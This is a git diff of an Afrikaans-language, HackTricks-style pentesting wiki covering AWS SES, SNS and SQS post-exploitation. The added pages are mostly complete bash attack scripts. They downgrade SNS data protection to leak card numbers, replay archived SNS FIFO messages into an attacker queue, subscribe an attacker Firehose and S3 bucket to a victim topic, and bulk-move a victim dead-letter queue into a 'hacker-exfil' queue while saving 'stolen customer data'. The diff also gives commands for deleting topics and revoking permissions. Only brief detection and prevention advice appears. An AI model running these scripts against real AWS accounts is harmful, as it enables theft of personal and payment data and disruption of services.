Dit kan slegs **tot 24h na ontvangs** van die e-pos gedoen word. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +Nog te toets. + ### `ses:SendCustomVerificationEmail` -Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemmings nodig hê om die sjabloon-e-pos te skep. +Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemming nodig hê om die sjabloon-e-pos te skep. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Nog om te toets. +Nog te toets. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index ceeafa266..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Vir meer inligting: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Ontwrigt Berigte - -In verskeie gevalle word SNS onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, kan voorkom, kan hy onopgemerk bly. - -### `sns:DeleteTopic` - -'n Aanvaller kan 'n hele SNS onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed. -```bash -aws sns delete-topic --topic-arn -``` -**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde onderwerp gebruik. - -### `sns:Publish` - -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. -```bash -aws sns publish --topic-arn --message -``` -**Potensiële Impak**: Gegevensbesoedeling, onbedoelde aksies, of hulpbronuitputting. - -### `sns:SetTopicAttributes` - -'n Aanvaller kan die eienskappe van 'n SNS-tema verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan kan beïnvloed. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Potensiële Impak**: Misconfigurasies wat lei tot verminderde prestasie, sekuriteitskwessies, of verminderde beskikbaarheid. - -### `sns:Subscribe` , `sns:Unsubscribe` - -'n Aanvaller kan op 'n SNS-tema inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die tema staatmaak, kan ontwrig. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Potensiële Impak**: Onbevoegde toegang tot boodskappe, diensonderbreking vir toepassings wat op die betrokke onderwerp staatmaak. - -### `sns:AddPermission` , `sns:RemovePermission` - -'n Aanvaller kan onbevoegde gebruikers of dienste toegang tot 'n SNS-onderwerp verleen, of toestemmings vir wettige gebruikers intrek, wat onderbrekings in die normale funksionering van toepassings wat op die onderwerp staatmaak, veroorsaak. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. - -### `sns:TagResource` , `sns:UntagResource` - -'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..0bdd519ed --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Vir meer inligting: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Ontwrig boodskappe + +In verskeie gevalle word SNS-onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-posse, Slack-boodskappe...). As 'n aanvaller verhinder dat die boodskappe wat oor sy teenwoordigheid in die cloud waarsku, gestuur word, kan hy ongemerk bly. + +### `sns:DeleteTopic` + +'n Aanvaller kan 'n hele SNS topic verwyder, wat tot boodskapverlies lei en toepassings wat op die topic staatmaak, benadeel. +```bash +aws sns delete-topic --topic-arn +``` +**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde topic gebruik. + +### `sns:Publish` + +'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS topic stuur, wat moontlik datakorrupsie veroorsaak, onbedoelde aksies aktiveer, of hulpbronne uitput. +```bash +aws sns publish --topic-arn --message +``` +**Potensiële impak**: Datakorrupsie, onbedoelde optrede, of uitputting van hulpbronne. + +### `sns:SetTopicAttributes` + +'n aanvaller kan die eienskappe van 'n SNS topic wysig, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Potensiële impak**: Konfigurasiefoute wat kan lei tot verminderde prestasie, sekuriteitsprobleme of verminderde beskikbaarheid. + +### `sns:Subscribe` , `sns:Unsubscribe` + +'n aanvaller kan op 'n SNS topic inteken of intekening kanselleer, wat moontlik onbevoegde toegang tot boodskappe verleen of die normale werking van toepassings wat op die topic staatmaak ontwrig. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Potensiële impak**: Ongeoorloofde toegang tot boodskappe, diensonderbreking vir toepassings wat op die betrokke onderwerp staatmaak. + +### `sns:AddPermission` , `sns:RemovePermission` + +'n Aanvaller kan ongeoorloofde gebruikers of dienste toegang tot 'n SNS-onderwerp verleen, of toestemmings vir legitieme gebruikers intrek, wat ontwrigting veroorsaak in die normale werking van toepassings wat op die onderwerp staatmaak. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Potensiële impak**: Ongeoorloofde toegang tot die topic, blootstelling van boodskappe, of manipulering van die topic deur onbevoegde gebruikers of dienste, ontwrigting van die normale werking vir toepassings wat op die topic staatmaak. + +### `sns:TagResource` , `sns:UntagResource` + +'n aanvaller kan tags by SNS-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleide wat op tags gebaseer is, kan ontwrig. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Potensiële impak**: Versteuring van koste-toewysing, hulpbronopsporing en tag-gebaseerde toegangsbeheerbeleide. + +### Meer SNS Post-Exploitation Techniques + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..27701c3ab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection Bypass via Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +As jy `sns:PutDataProtectionPolicy` op 'n topic het, kan jy die Message Data Protection policy van Deidentify/Deny na Audit-only omskakel (of Outbound-beheer verwyder) sodat sensitiewe waardes (bv. kredietkaartnommers) onveranderd aan jou subscription gestuur word. + +## Vereistes +- Machtigings op die teiken topic om `sns:PutDataProtectionPolicy` aan te roep (en gewoonlik `sns:Subscribe` as jy die data wil ontvang). +- Standaard SNS topic (Message Data Protection word ondersteun). + +## Aanvalsstappe + +- Veranderlikes + +```bash +REGION=us-east-1 +``` + +1) Skep 'n standaard topic en 'n aanvaller SQS queue, en staan slegs hierdie topic toe om na die queue te stuur + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Koppel 'n data protection policy wat kredietkaartnommers op Outbound-boodskappe maskeer + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Abonneer die aanvaller-queue en publiseer 'n boodskap met 'n toets kredietkaartnommer, en verifieer die maskeering + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +Verwagte uittreksel toon maskeering (hashes): +```json +"Message" : "payment:{cc:################}" +``` +4) Verlaag die beleid na audit-only (geen deidentify/deny-stellings wat Outbound beïnvloed) + +Vir SNS moet Audit-stellings Inbound wees. Deur die beleid te vervang met 'n Audit-only Inbound-stelling word enige Outbound de-identification verwyder, sodat boodskappe ongewysig na subskribente vloei. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Publiseer dieselfde boodskap en verifieer dat die ontmaskerde waarde afgelewer word +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Verwagte uittreksel wys klarteks CC: +```text +4539894458086459 +``` +## Impak +- Deur 'n topic te skakel van de-identification/deny na audit-only (of andersins Outbound controls te verwyder) kan PII/secrets onveranderd deurgaan na attacker-controlled subscriptions, wat data exfiltration moontlik maak wat andersins gemaskeer of geblokkeer sou word. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..9d8948a3c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik van Amazon SNS FIFO topic message archiving om previously published messages te replay en exfiltrate na 'n attacker-controlled SQS FIFO queue deur die subscription ReplayPolicy te stel. + +- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages. +- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope. + +## Voorvereistes +- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days). +- Attacker has permissions to: + - `sns:Subscribe` on the target topic. + - `sns:SetSubscriptionAttributes` on the created subscription. +- Attacker has an SQS FIFO queue and can attach a queue policy allowing `sns:SendMessage` from the topic ARN. + +## Minimale IAM-permissies +- On topic: `sns:Subscribe`. +- On subscription: `sns:SetSubscriptionAttributes`. +- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN. + +## Aanval: Replay archived messages to attacker SQS FIFO +Die attacker subscribe hulle SQS FIFO queue aan die victim SNS FIFO topic, en stel dan die `ReplayPolicy` na 'n timestamp in die verlede (binne die archive retention window). SNS replay onmiddellik die ooreenstemmende archived messages na die nuwe subscription en merk hulle met `Replayed=true`. + +Notes: +- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`. +- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## Impak +**Potensiële Impak**: ’n Aanvaller wat op ’n SNS FIFO topic kan inteken met argivering geaktiveer, en `ReplayPolicy` op hul subscription kan stel, kan onmiddellik historiese boodskappe wat na daardie topic gepubliseer is, herspeel en eksfiltreer — nie net boodskappe wat ná die skepping van die subscription gestuur is nie. Afgelewerde boodskappe sluit ’n `Replayed=true` vlag in die SNS-envelope in. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..0a6a560a3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik die Firehose subskripsieprotokol om 'n attacker-controlled Kinesis Data Firehose delivery stream op 'n victim SNS standard topic te registreer. Sodra die subskripsie in plek is en die vereiste IAM rol `sns.amazonaws.com` vertrou, word elke toekomstige kennisgewing permanent in die attacker’s S3 bucket geskryf met minimale geraas. + +## Vereistes +- Permissies in die attacker rekening om 'n S3 bucket, Firehose delivery stream, en die IAM rol wat deur Firehose gebruik word te skep (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ens.). +- Die vermoë om `sns:Subscribe` op die victim topic uit te voer (en opsioneel `sns:SetSubscriptionAttributes` as die subscription role ARN na skepping verskaf word). +- 'n Topic policy wat die attacker principal toelaat om te subscribe (of die attacker funksioneer reeds binne dieselfde rekening). + +## Aanvalsstappe (dieselfde-rekening voorbeeld) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Opruiming +- Verwyder die SNS-intekening, Firehose-afleweringsstroom, tydelike IAM-rolle/beleide, en attacker S3-bucket. + +## Impak +**Potensiële Impak**: Deurlopende, volhoubare exfiltration van elke boodskap wat na die geteikende SNS topic gepubliseer word in attacker-gekontroleerde berging met 'n minimale operasionele voetspoor. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..d1ed0787e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +## Beskrywing + +Misbruik SQS message move tasks om alle opgeboude boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur dit na 'n deur die aanvaller beheerde queue om te lei met behulp van `sqs:StartMessageMoveTask`. Hierdie tegniek misbruik AWS se wettige boodskapherwinningsfunksie om sensitiewe data wat oor tyd in DLQs opgehoop het, uit te voer. + +## Wat is 'n Dead-Letter Queue (DLQ)? + +A Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels: +- Sensitiewe toepassingsdata wat nie verwerk kon word nie +- Foutbesonderhede en debugging-inligting +- Persoonlik identifiseerbare inligting (PII) +- API-tokene, kredensiale, of ander geheime +- Sakekritieke transaksiedata + +DLQs tree op as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie. + +## Aanvalscenario + +**Werklike voorbeeld:** +1. **E-handels toepassing** verwerk kliëntbestellings via SQS +2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif +3. **DLQ stapel op** weke/maande van mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Aanvaller kry toegang** tot AWS-credentials met SQS-permissies +5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat +6. **In plaas daarvan om te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om AL die boodskappe in bondel na hul eie queue oor te dra +7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie + +## Vereistes +- Die bron queue moet as 'n DLQ gekonfigureer wees (verwys deur ten minste een queue RedrivePolicy). +- IAM permissions (uitgevoer as die gekompromitteerde slagoffer-prinsipaal): +- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` vanaf die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde account is dit gewoonlik standaard toegelaat. +- Indien SSE-KMS geaktiveer is: op bron CMK `kms:Decrypt`, en op bestemmings CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impak +Onttrek sensitiewe payloads wat in DLQs opgehoop is (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur die inheemse SQS-APIs te gebruik. Werk cross-account as die bestemmings-queue policy `SendMessage` van die slagoffer-prinsipaal toelaat. + +## Hoe om te misbruik + +- Identifiseer die slagoffer DLQ ARN en maak seker dit word werklik as 'n DLQ verwys deur 'n queue (enige queue is goed). +- Skep of kies 'n aanvaller-beheerde bestemmings-queue en kry sy ARN. +- Begin 'n message move task van die slagoffer DLQ na jou bestemmings-queue. +- Monitor vordering of kanselleer indien nodig. + +### CLI Voorbeeld: Exfiltrering van Kliëntdata vanaf E-handels DLQ + +**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-handels toepassing SQS met 'n DLQ gebruik wat mislukte kliëntbestellings verwerkpogings bevat. + +1) **Vind en ondersoek die slagoffer DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Skep aanvaller-beheerde bestemmingsry** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Voer die grootskaalse boodskapdiefstal uit** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Versamel die gesteelde sensitiewe data** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Kruis-rekening notas +- Die bestemmings-queue moet 'n resource policy hê wat die slagoffer-principal toelaat om `sqs:SendMessage` (en, indien gebruik, KMS grants/permissions). + +## Waarom hierdie aanval effektief is + +1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadaardig op te spoor +2. **Grootmaat-operasie**: Dra duisende boodskappe vinnig oor in plaas van stadige individuele toegang +3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande +4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie +5. **Kruis-rekening moontlik**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat + +## Opsporing en Voorkoming + +### Opsporing +Moniteer CloudTrail vir verdagte `StartMessageMoveTask` API-aanroepe: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Voorkoming +1. **Least Privilege**: Beperk `sqs:StartMessageMoveTask` toestemmings tot slegs die nodige rolle +2. **Monitor DLQs**: Stel CloudWatch alarms op vir ongewone DLQ-aktiwiteit +3. **Cross-Account Policies**: Hersien SQS queue-beleid wat cross-account toegang toelaat noukeurig +4. **Encrypt DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide +5. **Regular Cleanup**: Moenie sensitiewe data vir onbepaalde tyd in DLQs laat ophoop nie diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index c4669d533..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid daarvan verander, wat kan lei tot boodskapverlies, datakorrupsie, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak. 